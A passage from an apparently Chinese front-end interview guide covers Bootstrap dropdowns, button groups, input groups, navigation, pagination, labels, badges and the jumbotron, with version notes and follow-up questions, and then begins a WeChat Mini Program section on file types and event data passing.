
    链接写的是 href="#main",目标元素要有 id="main"。如果目标是个 div,有的浏览器不会把焦点移进去,给它加 tabindex="-1" 就好。

  • Bootstrap 4 升 5,sr-only 报废了,影响大吗?

    样式丢了以后那段文字会直接显示在页面上,视觉上会很突兀。全局搜 sr-only 和 sr-only-focusable 替换成 visually-hidden 和 visually-hidden-focusable。

# 17 Bootstrap如何制作下拉菜单?

⚡ 30 秒速记

  • 结构:外层 dropdown,按钮加 dropdown-toggle + data-bs-toggle="dropdown",菜单 ul.dropdown-menu,菜单项 a.dropdown-item
  • Bootstrap 5 属性带 bs 前缀:data-bs-toggle;3/4 是 data-toggle
  • 定位靠 Popper:要引 bootstrap.bundle.js,或者自己先引 Popper,bootstrap.js 本身不带
  • 3/4 依赖 jQuery,5 用原生 JS
  • 无障碍:按钮会自动切换 aria-expanded,支持方向键选项和 Esc 关闭;role="menu" 那套 4 以后已经不推荐了

下拉菜单就是一个 dropdown 容器,里面放一个带 data-bs-toggle="dropdown" 的按钮和一个 dropdown-menu,Bootstrap 的 JS 会接管点击和定位。 版本上要注意两点:5 的属性名是 data-bs-toggle,写成 4 的 data-toggle 点了没反应;菜单定位依赖 Popper,只引 bootstrap.min.js 不引 Popper 会直接报错,最省事是用 bootstrap.bundle.min.js。很多老教程里 role="menu"、role="menuitem" 那套是 3 时代的写法,4 以后官方去掉了,因为普通链接列表不需要伪装成桌面应用菜单。

时序图 · 5 个参与者 / 11 步
alt 没引 Popper正常用户用户触发按钮触发按钮Bootstrap 脚本Bootstrap 脚本PopperPopper下拉菜单下拉菜单点击按钮1document 上的委托监听收到点击2检查 data-bs-toggle 是否为 dropdown3控制台报错,菜单不出现4计算菜单位置5返回坐标,空间不够就翻转6加 show 类并设置定位7aria-expanded 改成 true8方向键选择或按 Esc9键盘事件10移除 show 类,焦点回到按钮11
  • 将下拉菜单包裹在class="dropdown"的<div>中;
  • 在触发下拉菜单的按钮中添加:class="btn dropdown-toggle" id="dropdownMenu1" data-toggle="dropdown"
  • 在包裹下拉菜单的ul中添加:class="dropdown-menu" role="menu" aria-labelledby="dropdownMenu1"
  • 在下拉菜单的列表项中添加:role="presentation"。其中,下拉菜单的标题要添加class="dropdown-header",选项部分要添加tabindex="-1"。

正确,您提供的步骤是制作下拉菜单的基本步骤。下面是一个示例代码:

<div class="dropdown">
  <button class="btn dropdown-toggle" id="dropdownMenu1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
    下拉菜单
    <span class="caret"></span>
  </button>
  <ul class="dropdown-menu" role="menu" aria-labelledby="dropdownMenu1">
    <li role="presentation"><a role="menuitem" tabindex="-1" href="#">选项1</a></li>
    <li role="presentation"><a role="menuitem" tabindex="-1" href="#">选项2</a></li>
    <li role="presentation"><a role="menuitem" tabindex="-1" href="#">选项3</a></li>
    <li role="presentation" class="divider"></li>
    <li role="presentation" class="dropdown-header">标题</li>
    <li role="presentation"><a role="menuitem" tabindex="-1" href="#">选项4</a></li>
  </ul>
</div>

这是一个简单的下拉菜单示例,当点击按钮时,下拉菜单会展开显示选项。您可以根据自己的需求修改按钮文本、菜单项内容和样式。

💬 面试官追问

  • 从 Bootstrap 4 抄的下拉代码放到 5 项目里,点了没反应,先查什么?

    先看属性是不是 data-toggle,5 只认 data-bs-toggle。再看控制台有没有 Popper 相关报错,有的话换成 bundle 版本。

  • 下拉菜单在表格最后一行被截掉了一半,为什么?

    外层有 overflow: hidden 或者 table-responsive 的 overflow: auto,绝对定位的菜单被容器裁掉了。可以给菜单开 strategy: 'fixed',或者把容器的溢出设置改掉。

  • 菜单在页面底部时会自动往上弹吗?

    会,Popper 检测到下方空间不够会自动翻转。想默认往上弹就把外层 dropdown 换成 dropup。

  • 动态插入的下拉按钮需要手动初始化吗?

    不用。Bootstrap 5 的 data 属性用的是事件委托,挂在 document 上,后插进来的按钮点击也能触发。只有要用 JS 调方法时才需要 new bootstrap.Dropdown(el)。

# 18 Bootstrap如何制作按钮组?以及水平按钮组和垂直按钮组的优先级?

⚡ 30 秒速记

  • 水平:<div class="btn-group" role="group" aria-label="文本对齐">
  • 垂直:<div class="btn-group-vertical">,两个类是二选一,不是叠加
  • 两个类写在同一个元素上,Bootstrap 4/5 里是垂直生效:它们选择器权重一样,btn-group-vertical 的规则写在后面
  • 多组按钮排一行用外层 btn-toolbar,统一尺寸用 btn-group-lg / btn-group-sm
  • role="group" 加 aria-label 一定要写,不然读屏器只念出几个孤立的按钮

水平按钮组用 btn-group 包住按钮,垂直的用 btn-group-vertical,正常应该只写一个。 至于「优先级」,其实就是 CSS 层叠:两个类权重相同,Bootstrap 4 和 5 的源码里 btn-group-vertical 的 flex-direction: column 写在后面,所以同时写会变成垂直。有些资料说 btn-group 优先,按现在的源码是不对的,而且这种问题的正确答案应该是别同时写。工程上更值得说的是给按钮组加 role="group" 和 aria-label,读屏器才知道这几个按钮是一组的。

制作按钮组的基本步骤如下:

  1. 使用class="btn-group"的<div>包裹按钮组。这将把一组按钮组合在一起。
<div class="btn-group" role="group" aria-label="按钮组">
  <button type="button" class="btn btn-primary">按钮1</button>
  <button type="button" class="btn btn-primary">按钮2</button>
  <button type="button" class="btn btn-primary">按钮3</button>
</div>
  1. 如果想要创建垂直按钮组,可以使用class="btn-group-vertical"。
<div class="btn-group-vertical" role="group" aria-label="垂直按钮组">
  <button type="button" class="btn btn-primary">按钮1</button>
  <button type="button" class="btn btn-primary">按钮2</button>
  <button type="button" class="btn btn-primary">按钮3</button>
</div>

需要注意的是,btn-group 和 btn-group-vertical 是二选一的布局选项,正常只写一个。两个类选择器权重相同,Bootstrap 4/5 源码里 btn-group-vertical 的 flex-direction: column 写在后面,所以同一个元素上两个类都写时按钮会垂直排列;这只看样式表里规则的先后,和 class 属性里类名的顺序无关。

💬 面试官追问

  • 同一个元素写了 btn-group btn-group-vertical,交换类名顺序会改变结果吗?

    不会。class 属性里的顺序不影响层叠,看的是样式表里规则谁写在后面,跟 HTML 里写的先后没关系。

  • 工具栏里「左对齐 / 居中 / 右对齐」三个按钮只能选一个,用按钮组怎么做?

    用 btn-check 加 radio:每个 <input type="radio" class="btn-check"> 后面跟一个 <label class="btn">,外层还是 btn-group。这样单选状态和键盘操作都是原生的,不用自己维护 active。

  • 按钮组里第一个按钮被 v-if 拿掉之后,左边的圆角没了,为什么?

    Bootstrap 按钮组的圆角是靠 :first-child、:not(:last-child) 这类选择器去掉中间按钮圆角的。动态增删按钮后,如果中间夹了隐藏元素或者包了一层,选择器就匹配歪了。别在组内包额外的元素。

  • 手机上一排五个按钮放不下,怎么处理?

    小屏改成 btn-group-vertical,或者把次要的收进一个下拉按钮。按钮组本身不会换行,硬塞会溢出。

# 19 Bootstrap如何设置按钮的下拉菜单?

⚡ 30 秒速记

  • 单按钮下拉:一个按钮直接加 dropdown-toggle,外层 btn-group,后面跟 dropdown-menu
  • 拆分按钮:左边主按钮能单独点,右边小箭头按钮加 dropdown-toggle dropdown-toggle-split,只负责展开
  • 箭头按钮里放 <span class="visually-hidden">展开更多操作</span>(3/4 是 sr-only),不然读屏器只念「按钮」
  • 方向:dropup / dropstart / dropend(4 里是 dropleft / dropright)
  • 属性同样分版本:5 是 data-bs-toggle="dropdown",3/4 是 data-toggle

按钮下拉就是把按钮和 dropdown-menu 一起放进 btn-group,触发的那个按钮加 dropdown-toggle 和 data-bs-toggle="dropdown"。 有两种形态:一种是整个按钮点了就展开菜单;另一种是拆分按钮,左边「保存」直接执行,右边小箭头展开「另存为」「保存为草稿」这些次要操作,箭头按钮要额外加 dropdown-toggle-split 调整内边距。拆分按钮那个小箭头没有文字,一定要放一段 visually-hidden 的说明,不然读屏器只会念出一个没名字的按钮。

要设置按钮的下拉菜单,可以将按钮和下拉菜单放置在一个.btn-group中。下面是示例代码:

<div class="btn-group">
  <button type="button" class="btn btn-primary">按钮</button>
  <button type="button" class="btn btn-primary dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
    <span class="caret"></span>
    <span class="sr-only">下拉菜单</span>
  </button>
  <ul class="dropdown-menu">
    <li><a href="#">菜单项1</a></li>
    <li><a href="#">菜单项2</a></li>
    <li><a href="#">菜单项3</a></li>
  </ul>
</div>

在上面的代码中,.btn-group包含了一个按钮和一个带有.dropdown-toggle类的下拉菜单触发器按钮。通过添加.dropdown-toggle类和相关的data-toggle属性,可以实现按钮点击时展示下拉菜单。下拉菜单则是使用.dropdown-menu类定义的。

💬 面试官追问

  • 拆分按钮和直接一个下拉按钮,怎么选?

    有一个最常用的默认操作就用拆分按钮,比如「保存」加「另存为」。几个操作地位平等就用单个下拉按钮,用户先展开再选。

  • 右边的小箭头点不准,手机上老是点到左边主按钮,怎么办?

    箭头按钮太窄了。可以给它加最小宽度,比如 min-width: 44px,满足移动端触控尺寸;或者小屏直接改成单个下拉按钮。

  • 菜单靠右边缘时被裁掉了,怎么让它右对齐?

    dropdown-menu 加 dropdown-menu-end,菜单右边缘和按钮右边缘对齐。4 里这个类叫 dropdown-menu-right。

  • 菜单项点了之后想执行 JS 逻辑而不是跳转,用 a 还是 button?

    用 <button class="dropdown-item" type="button">。没有跳转地址却用 a href="#",会改掉 URL 的 hash,语义上也不对。

# 20 Bootstrap中的输入框组如何制作?

⚡ 30 秒速记

  • 外层 input-group,前后缀用 input-group-text,中间是 form-control
  • 版本差异:3 是 input-group-addon;4 要套 input-group-prepend / input-group-append;5 删了这层包裹,直接放 input-group-text
  • 前后缀也可以放按钮、下拉、复选框;尺寸用 input-group-lg / input-group-sm
  • 前缀只是视觉提示,读屏器不一定念,输入框本身要有 label 或 aria-label
  • 典型场景:@ 用户名、¥ 金额、.com 域名、搜索框加按钮

输入框组是一个 input-group 容器,把 form-control 和前后缀拼成一个整体,前后缀在 5 里用 input-group-text。 这题版本差异比较大:3 用 input-group-addon,4 要先套一层 input-group-prepend 或 input-group-append,再在里面放 input-group-text,5 把那层删了,直接平铺。比如金额输入 <span class="input-group-text">¥</span><input class="form-control"><span class="input-group-text">.00</span>。别以为前面有个 ¥ 就够了,输入框还是要有自己的 label。

要制作Bootstrap中的输入框组,可以按照以下步骤进行操作:

  1. 创建一个带有class="input-group"的<div>,将其作为输入框组的容器。
  2. 在<div>中,使用<span>标签并添加class="input-group-addon",在其中放置额外的内容,例如前缀或后缀元素。
  3. 将<span>标签放在<input>元素的前面或后面,以实现前缀或后缀元素与输入框的结合。

以下是一个示例代码:

<div class="input-group">
  <span class="input-group-addon">@</span>
  <input type="text" class="form-control" placeholder="用户名">
</div>

在上面的代码中,<div>元素具有class="input-group",<span>元素具有class="input-group-addon",并包含了一个前缀元素@。输入框使用<input>标签,并添加了class="form-control"用于样式设置。

你还可以根据需要添加其他的输入框组元素,如按钮、下拉菜单等,以创建更丰富的输入框组。

💬 面试官追问

  • 搜索框后面拼一个「搜索」按钮,按钮要不要包 input-group-text?

    不用。按钮直接放进 input-group,写 <button class="btn btn-outline-secondary"> 就行,input-group-text 只给纯文字和图标用。

  • Bootstrap 4 的输入框组搬到 5,前缀和输入框之间出现了缝,为什么?

    多半是还留着 input-group-prepend 那层包裹。5 已经没有这个类了,那层 div 没样式,破坏了圆角和拼接,删掉让 input-group-text 直接做子元素。

  • 校验失败时整组的红框只框住了输入框,前缀没变红,正常吗?

    正常,is-invalid 只作用在 form-control 上。想整组标红,外层加 has-validation,再给前缀补一个红色边框的样式。

  • 前缀是 @,读屏器会念出来吗?

    input-group-text 是普通文本,读屏器浏览时会念,但聚焦输入框时不会。要关联就给前缀一个 id,输入框写 aria-describedby 指过去。

# 21 Bootstrap中的导航都有哪些?

⚡ 30 秒速记

  • 基础导航 nav + nav-item / nav-link,衍生出 nav-tabs、nav-pills,5.3 新增 nav-underline
  • nav-fill 按内容比例撑满,nav-justified 每项等宽
  • navbar 是顶部导航栏:品牌区、折叠菜单,navbar-expand-lg 决定在哪个断点展开
  • 其他:面包屑 breadcrumb、分页 pagination、侧边滑出 offcanvas(5 新增)
  • 版本:3 的 navbar-default 和 role="navigation" 在 4/5 已经不用了,外层直接写 <nav>

Bootstrap 的导航主要是基础 nav 衍生出来的 nav-tabs、nav-pills、顶部 navbar,加上面包屑和分页。 选哪个看信息关系:同一页内容切换用 tabs,筛选分类用 pills,全站主入口用 navbar,层级深的页面加 breadcrumb。版本上要注意 3 里的 navbar-default 在 4 以后换成了 navbar-expand-* 加配色,5.3 又改成用 data-bs-theme 切暗色。页面有多个 <nav> 时记得用 aria-label 区分「主导航」和「面包屑」,读屏器用户靠这个跳转。

Bootstrap提供了多种导航组件,以下是其中几种常用的导航:

  1. 标签页导航(Tabs):使用class="nav nav-tabs"创建标签页导航,用于在不同的内容页之间进行切换。
  2. 胶囊式标签页导航(Pills):使用class="nav nav-pills"创建胶囊式标签页导航,通常用于表示不同的选项或分类。
  3. 导航栏(Navbar):使用class="navbar navbar-default"和role="navigation"创建导航栏,用于显示网站的主要导航链接。
  4. 面包屑导航(Breadcrumb):使用class="breadcrumb"创建面包屑导航,用于显示当前页面在网站结构中的位置。

除了上述导航组件外,Bootstrap还提供了其他导航相关的组件,如导航工具栏(Navbar Toolbar)、下拉菜单(Dropdown)、分页导航(Pagination)等,可以根据具体的需求选择合适的导航组件来构建网站的导航部分。

以下是几个常见导航组件的示例代码:

  1. 标签页导航(Tabs):
<ul class="nav nav-tabs">
  <li class="active"><a href="#home">Home</a></li>
  <li><a href="#profile">Profile</a></li>
  <li><a href="#messages">Messages</a></li>
</ul>
  1. 胶囊式标签页导航(Pills):
<ul class="nav nav-pills">
  <li class="active"><a href="#home">Home</a></li>
  <li><a href="#profile">Profile</a></li>
  <li><a href="#messages">Messages</a></li>
</ul>
  1. 导航栏(Navbar):
<nav class="navbar navbar-default" role="navigation">
  <div class="navbar-header">
    <a class="navbar-brand" href="#">Logo</a>
  </div>
  <ul class="nav navbar-nav">
    <li class="active"><a href="#">Home</a></li>
    <li><a href="#">About</a></li>
    <li><a href="#">Services</a></li>
    <li><a href="#">Contact</a></li>
  </ul>
</nav>
  1. 面包屑导航(Breadcrumb):
<ol class="breadcrumb">
  <li><a href="#">Home</a></li>
  <li><a href="#">Category</a></li>
  <li class="active">Current Page</li>
</ol>

这些示例代码仅为演示Bootstrap导航组件的基本结构,具体样式和功能可以根据需要进行进一步定制和扩展。

💬 面试官追问

  • navbar 在手机上折叠了,点汉堡按钮没反应,先查什么?

    先看按钮的 data-bs-target 是不是对上了 collapse 那块的 id,再看有没有引 Bootstrap 的 JS。纯引 CSS 的话折叠组件是不会动的。

  • nav-tabs 用来切换内容,只加类就够了吗?

    只加类只有样式。要能切换得用 data-bs-toggle="tab" 加 tab-pane,无障碍上需要 role="tablist"、role="tab"、aria-selected、aria-controls,Bootstrap 的 JS 会帮你维护 aria-selected。

  • 当前所在的导航项除了加 active,还要加什么?

    加 aria-current="page"。active 只是视觉高亮,aria-current 才能让读屏器念出「当前页」。

  • nav-fill 和 nav-justified 有啥区别?

    nav-fill 是按各自内容宽度分剩余空间,文字长的项更宽;nav-justified 是每一项完全等宽。

  • SPA 里用 Vue Router 做导航,还用 Bootstrap 的 tab 插件吗?

    一般不用。路由切换已经接管了内容显示,只借 nav-link 的样式,active 交给路由的激活类,别让两套切换逻辑同时生效。

# 22 Bootstrap中设置分页的class?

⚡ 30 秒速记

  • Bootstrap 3:<ul class="pagination"> 里直接放 <li><a>;只要上一页/下一页用 .pager
  • Bootstrap 4/5:li 加 .page-item、a 加 .page-link,.pager 在 4 里已经删了
  • 状态:.active 当前页、.disabled 不可点;尺寸:.pagination-lg / .pagination-sm
  • 居中靠 flex 工具类:4/5 里 .pagination 本身是 flex,加 .justify-content-center
  • 无障碍:外面包 <nav aria-label="分页">,当前页加 aria-current="page"

分页用 .pagination,但要先问清楚是哪个版本,3 和 4/5 的写法不一样。 Bootstrap 3 里 ul.pagination 下面直接写 li > a 就行,只要「上一页 / 下一页」两个按钮就用 .pager;到了 4,.pager 被删了,每个 li 要加 .page-item、每个 a 要加 .page-link,不加样式就是散的。当前页、禁用分别是 .active 和 .disabled。我写的时候会顺手包一层 <nav aria-label>,读屏器才知道这是一组分页链接。

在Bootstrap中,可以使用以下class来设置分页和翻页样式:

  • 默认分页样式:class="pagination"
<ul class="pagination">
  <li><a href="#">Previous</a></li>
  <li><a href="#">1</a></li>
  <li><a href="#">2</a></li>
  <li><a href="#">3</a></li>
  <li><a href="#">Next</a></li>
</ul>
  • 默认翻页样式:class="pager"
<ul class="pager">
  <li><a href="#">Previous</a></li>
  <li><a href="#">Next</a></li>
</ul>

这些class可以帮助你创建具有分页和翻页功能的导航组件,你可以根据需要进行样式和布局的调整。

三个版本的写法对照一下就清楚了:

<!-- Bootstrap 3:li > a 即可,翻页器用 .pager -->
<ul class="pagination">
  <li class="active"><a href="#">1</a></li>
  <li><a href="#">2</a></li>
</ul>
<ul class="pager">
  <li><a href="#">上一页</a></li>
  <li><a href="#">下一页</a></li>
</ul>

<!-- Bootstrap 4 / 5:必须加 .page-item / .page-link,.pager 已删除 -->
<nav aria-label="文章分页">
  <ul class="pagination justify-content-center">
    <li class="page-item disabled">
      <a class="page-link" tabindex="-1" aria-disabled="true">上一页</a>
    </li>
    <li class="page-item active" aria-current="page">
      <a class="page-link" href="?page=1">1</a>
    </li>
    <li class="page-item"><a class="page-link" href="?page=2">2</a></li>
    <li class="page-item"><a class="page-link" href="?page=2">下一页</a></li>
  </ul>
</nav>

4/5 里 .pagination 本身是 display: flex,所以对齐直接用 .justify-content-center / .justify-content-end。.pager 在 4.0 被移除,只要两颗按钮时,就写一个只有两项的 .pagination。另外 Bootstrap 的分页只负责长相,总页数、当前页、省略号这些逻辑都要自己算。

💬 面试官追问

  • 从 Bootstrap 3 升到 5,分页变成了一串没样式的链接,为什么?

    4 开始样式挂在 .page-item 和 .page-link 上,老代码只有 ul.pagination > li > a,选择器匹配不上。批量补上这两个 class 就好,用了 .pager 的地方要改成两项的 .pagination。

  • 禁用的「上一页」加了 .disabled,键盘 Tab 还能聚焦,点回车还跳了,怎么回事?

    .disabled 只是视觉上置灰加 pointer-events: none,挡得住鼠标挡不住键盘。a 上再加 tabindex="-1" 和 aria-disabled="true",或者干脆换成不带 href 的 span。

  • 列表有 200 页,页码全铺出来太长了,一般怎么处理?

    只显示首页、末页、当前页前后各 2 页,中间用省略号占位,再配一个跳页输入框。Bootstrap 只给样式不给逻辑,这段页码计算要自己写,或者直接用组件库的分页组件。

  • 分页切换用 ?page=3 还是只改组件内部状态?

    后台列表和需要被收录的内容页,我都放到 URL 上。刷新、分享、浏览器后退都能回到同一页,SEO 也能抓到;只放在组件状态里,一刷新就回第一页。

# 23 Bootstrap中显示标签的class?

⚡ 30 秒速记

  • Bootstrap 3:.label + .label-primary / .label-success 这类颜色类
  • Bootstrap 4:.label 被删,统一并进 .badge,颜色写 .badge-primary
  • Bootstrap 5:颜色改成通用工具类 .bg-primary,5.2 起推荐 .text-bg-primary(背景和文字色一起配好对比度)
  • 胶囊形:4 里是 .badge-pill,5 里换成 .rounded-pill
  • 别只靠颜色表达含义,「已过期」「进行中」要有文字

Bootstrap 3 用 .label,4 以后 .label 没了,全都改用 .badge。 所以这题现在答 .label 只对一半,要补一句版本。3 的写法是 <span class="label label-primary">;4 里变成 badge badge-primary;5 又把颜色类去掉了,改用通用的 bg-* 工具类,5.2 之后有 .text-bg-primary,会自动挑一个对比度够的文字色。升级老项目时,label 和 badge-* 这两批类名最容易漏改。

在Bootstrap中,可以使用class="label"来显示标签样式。以下是一个示例代码:

<span class="label">Default</span>

上述代码将创建一个默认样式的标签,你可以根据需要添加更多的class来自定义标签的样式。例如,你可以使用class="label label-primary"来创建一个带有主要颜色的标签。

<span class="label label-primary">Primary</span>

通过添加不同的class,你可以改变标签的颜色、背景色和其他样式,以适应你的设计需求。

💬 面试官追问

  • 老项目升到 Bootstrap 5,所有状态标签都变成了白底白字,为什么?

    5 删了 .badge-primary 这类颜色类,.badge 本身只给白字,没有背景。批量把 badge-xxx 换成 text-bg-xxx 就好,3 遗留的 .label 也要一起改。

  • .bg-warning 配 .badge,黄底白字看不清,怎么改?

    用 5.2 以后的 .text-bg-warning,它会给黄底配深色字。版本更老就手动加 .text-dark,别靠肉眼觉得「差不多能看」。

  • 订单状态只用红绿两种颜色区分,有什么问题?

    色弱用户分不出红绿,读屏器也读不出颜色。标签里要写「已支付」「未支付」这种文字,颜色只是辅助。

  • 标签和徽章在 5 里都是 .badge,那还有区别吗?

    类名一样,区别在用法:放在标题旁标分类、状态叫标签,挂在按钮或图标角上显示数字叫徽章。后者通常要配定位类,还得给数字补一句读屏说明。

# 24 Bootstrap中如何制作徽章?

⚡ 30 秒速记

  • 写法:<span class="badge text-bg-danger">99+</span>(5.2+);4 里是 badge badge-danger
  • .badge 字号用 em,放进按钮或标题里会跟着父级缩放
  • 角标:父级 .position-relative,徽章加 .position-absolute .top-0 .start-100 .translate-middle
  • 红点不放文字:.p-2 .rounded-circle + 背景色,配一个 .visually-hidden 文字
  • 数字太大截成 99+;读屏器只听到「5」不知道是什么,要补上下文

徽章就是 .badge,Bootstrap 4/5 里和标签是同一个组件,常用来显示未读数。 颜色在 4 里写 badge-primary,5 里改成 bg-*,5.2 起推荐 .text-bg-*。真正用得多的是角标:父元素 position-relative,徽章用 position-absolute top-0 start-100 translate-middle 把中心点挪到右上角。还要记得纯数字对读屏用户没意义,我一般补一个 <span class="visually-hidden">条未读消息</span>。

在Bootstrap中,可以使用class="badge"来创建徽章。徽章用于在元素上显示一些提示信息或计数。

以下是一个示例代码:

<span class="badge">26</span>

上述代码将创建一个默认样式的徽章,并在徽章上显示数字"26"。你可以根据需要调整徽章的样式,例如改变背景颜色、文本颜色等。

<span class="badge badge-primary">26</span>

通过添加不同的class,你可以改变徽章的外观,使其适应你的设计需求。

💬 面试官追问

  • 按钮右上角放个未读数,要怎么定位?

    按钮加 position-relative,徽章加 position-absolute top-0 start-100 translate-middle。translate-middle 是 translate(-50%, -50%),让徽章中心正好压在按钮的右上角。

  • 未读数变成 1288 之后,徽章把旁边的图标挤歪了,怎么处理?

    前端截断成 99+,不要让宽度跟着数字涨。badge 是 inline-block,内容越长越宽,固定上限最省事。

  • 只想要一个小红点不要数字,怎么写?

    <span class="position-absolute p-2 bg-danger rounded-circle"> 不放内容,里面加一个 .visually-hidden 的「有新消息」。红点是给眼睛看的,文字是给读屏器听的。

  • 未读数要实时刷新,直接改 badge 的 innerText 可以吗?

    可以,但要配合 aria-live="polite" 读屏器才会播报变化。如果是 React / Vue 项目,就绑状态让框架去更新,别手动改 DOM 跟框架抢。

# 25 Bootstrap中超大屏幕的作用是什么?

⚡ 30 秒速记

  • 超大屏幕 = Jumbotron,Bootstrap 3/4 的组件:大内边距 + 大字号,做首屏 Hero 区
  • 用法:<div class="jumbotron">,4 里加 .jumbotron-fluid 去掉圆角铺满宽度
  • Bootstrap 5 已移除,改用工具类拼:p-5 mb-4 bg-body-tertiary rounded-3
  • 删掉的原因:它本来就只是几行 padding 和背景色,工具类完全能替代
  • 能说出「5 里没了,用工具类代替」比只会背 .jumbotron 更像用过

Jumbotron 就是首页顶上那块大标题区,Bootstrap 3/4 有这个组件,5 里已经删掉了。 它本身没什么魔法,就是加大内边距、给个浅色背景、配 .display-4 大标题和 .lead 副标题,用来放网站的主标语和一个行动按钮。5 的官方示例是直接用工具类拼出来,比如 p-5 mb-4 bg-body-tertiary rounded-3,这样宽度、背景想怎么改都行。所以老项目升级时,这块要手动改写,不然样式直接丢失。

在Bootstrap中,class="jumbotron"用于创建超大屏幕(Jumbotron)组件。超大屏幕常用于页面的顶部,用于突出显示重要的信息或引导用户的注意力。

超大屏幕组件具有以下特点:

  • 标题的字体大小较大,以引起用户的注意。
  • 提供更多的外边距,使内容在页面上更突出。
  • 可以容纳大量的文本或其他内容,如标题、副标题、按钮等。
  • 可以通过自定义样式来改变背景颜色、文本样式等。

以下是一个示例代码:

<div class="jumbotron">
  <h1 class="display-4">Welcome to our website!</h1>
  <p class="lead">We provide high-quality products and excellent services.</p>
  <a class="btn btn-primary btn-lg" href="#" role="button">Learn more</a>
</div>

上述代码将创建一个超大屏幕组件,其中包含一个标题、副标题和一个按钮。你可以根据需要自定义超大屏幕的内容和样式,使其符合你的设计需求。

# 六、微信小程序相关

💬 面试官追问

  • 升到 Bootstrap 5 以后首页顶部的大横幅突然没样式了,为什么?

    5 把 .jumbotron 整个删了,类名还在但已经没有对应的 CSS。用 p-5 mb-4 bg-body-tertiary rounded-3 这组工具类重写,或者在自己的样式里补一个同名类兜底。

  • Hero 区里放了一张大背景图,首屏 LCP 很差,怎么优化?

    背景图浏览器发现得晚,换成 <img> 加 fetchpriority="high",或者在 <head> 里 preload,图片压成 WebP / AVIF 并给出宽高。首屏这张图千万别懒加载。

  • .display-4 在手机上字太大,一行只放得下两个字,怎么办?

    Bootstrap 5 默认开了 RFS,标题会随视口缩小;还嫌大就按断点换类,比如移动端用 .display-6,或自己写 clamp() 控制字号。

  • 为什么新项目不推荐再引整套 Bootstrap 来做这种页面?

    主要是体积和定制成本:整包 CSS 压缩后也有 200KB 出头,大部分用不上。现在一般用 Tailwind 这类按需生成的工具类,或者只引 Bootstrap 的 Sass 源码按模块编译。

# 1 微信小程序有几个文件

⚡ 30 秒速记

  • 页面四件套:.wxml 结构、.wxss 样式、.js 逻辑、.json 页面配置,同名放同目录
  • 全局三件:app.js(App() 生命周期和 globalData)、app.json(pages、window、tabBar)、app.wxss
  • 工程配置:project.config.json(开发者工具设置)、sitemap.json(页面能不能被微信搜到)
  • 必须有的只有 app.json 和 app.js;页面里 .wxss / .json 可以省
  • 类比:wxml ≈ HTML、wxss ≈ CSS,但 wxml 只能用小程序组件,没有 div

单个页面是四个同名文件:wxml、wxss、js、json,项目根目录再有一套 app 开头的文件管全局。 wxml 写结构、wxss 写样式、js 里调 Page() 写数据和事件、json 配这一页的导航栏标题之类。根目录的 app.json 最关键,所有页面都要在 pages 里登记,第一项就是首页;app.js 管应用级生命周期。另外 project.config.json 是给开发者工具用的,sitemap.json 控制搜索收录,分包多了还有 subPackages 目录。

微信小程序主要包含以下几个文件:

  1. .wxml(WeiXin Markup Language):用于描述小程序的页面结构,类似于 HTML。在这个文件中,可以使用小程序提供的组件和自定义的组件,以及使用数据绑定和逻辑控制语句来构建页面的结构。
  2. .wxss(WeiXin Style Sheets):是一套样式语言,用于描述 .wxml 文件中组件的样式。类似于 CSS,可以设置元素的样式、布局、动画效果等。
  3. .js:小程序的逻辑处理文件,包含了页面的逻辑代码。可以在这个文件中定义页面的事件处理函数、数据的处理和操作等。通过 JavaScript 的逻辑控制,可以实现小程序的交互功能。
  4. app.json:小程序的全局配置文件,必须存在于小程序项目中。在这个文件中,可以进行页面的注册,设置小程序的窗口样式,配置底部导航栏(tabBar),以及设置网络请求等。
  5. app.js:小程序的全局 JavaScript 文件,用于监听和处理小程序的生命周期函数、声明全局变量等。可以在这个文件中编写全局的逻辑代码。
  6. app.wxss:小程序的全局样式文件,用于设置小程序全局的样式。可以在这个文件中定义小程序的全局样式,如页面的背景色、字体样式、导航栏样式等。

以上是微信小程序中常见的文件类型,每个文件都有其特定的作用和功能,通过不同类型的文件协同工作,可以构建出完整的微信小程序应用。

💬 面试官追问

  • 新建了一个页面文件夹,跳过去报「页面不存在」,最可能漏了什么?

    没在 app.json 的 pages 里登记,或者路径写错了。在开发者工具里新建页面会自动登记,手动建文件夹就要自己补。

  • 页面 json 和 app.json 里都配了导航栏标题,听谁的?

    听页面的。页面 json 只能配 window 那一类的项,同名项会覆盖 app.json 里的全局值。

  • 主包超过 2MB 传不上去了,怎么办?

    拆分包:在 app.json 的 subPackages 里声明,非首屏页面放进去,主包只留 tabBar 页和公共代码。图片尽量走 CDN,别打进包里。

  • wxml 里能直接写 <div> 吗?

    不行,渲染不出来。只能用小程序内置组件,像 view、text、image,或者自定义组件;HTML 标签不认。

# 2 微信小程序怎样跟事件传值

⚡ 30 秒速记

  • 传参靠 data-*:<view data-id="{<span class="vp-brace-split" aria-hidden="true"></span>{item.id}<span class="vp-brace-split" aria-hidden="true"></span>}" bindtap="onTap">,回调里取 e.currentTarget.dataset.id
  • currentTarget 是绑事件的那个元素,target 是真正被点到的子元素,取 dataset 用前者
  • 键名转换:data-user-id → userId;data-userId → userid(大写会变小写)
  • 表单/输入类的值在 e.detail.value;bindtap 不能像 Vue 那样直接写 onTap(item)
  • 组件间:父传子 properties,子传父 this.triggerEvent('change', payload),父组件从 e.detail 拿

小程序的事件绑定不能直接带参数,要先用 data- 开头的自定义属性把值挂到元素上,回调里再从 e.currentTarget.dataset 取。 比如列表项写 data-id="{<span class="vp-brace-split" aria-hidden="true"></span>{item.id}<span class="vp-brace-split" aria-hidden="true"></span>}",点击后 e.currentTarget.dataset.id 就是那个 id。这里最常见的坑是用了 target,列表项里面有图片、文字的时候,点到子元素 target 就变成子元素了,dataset 是空的。另外输入框、表单提交这种值不走 dataset,在 e.detail.value 里。

在微信小程序中,可以通过以下方式实现事件传值:

  1. 使用 data-* 属性:给 HTML 元素添加自定义的 data-* 属性来传递需要的值。例如,可以在某个元素上添加 data-id 属性来传递对应的 ID 值。在事件处理函数中,可以通过 event.currentTarget.dataset 来获取这些属性值。
<view data-id="123" bindtap="handleTap">点击我</view>
Page({
  handleTap(event) {
    const id = event.currentTarget.dataset.id;
    console.log(id); // 输出:123
  }
})
  1. 使用自定义属性:在小程序中可以给 HTML 元素添加自定义属性,然后在事件处理函数中通过 event.currentTarget.dataset 或 event.currentTarget.id 来获取这些属性值。
<view id="my-element" data-id="123" bindtap="handleTap">点击我</view>
Page({
  handleTap(event) {
    const id = event.currentTarget.dataset.id;
    const elementId = event.currentTarget.id;
    console.log(id); // 输出:123
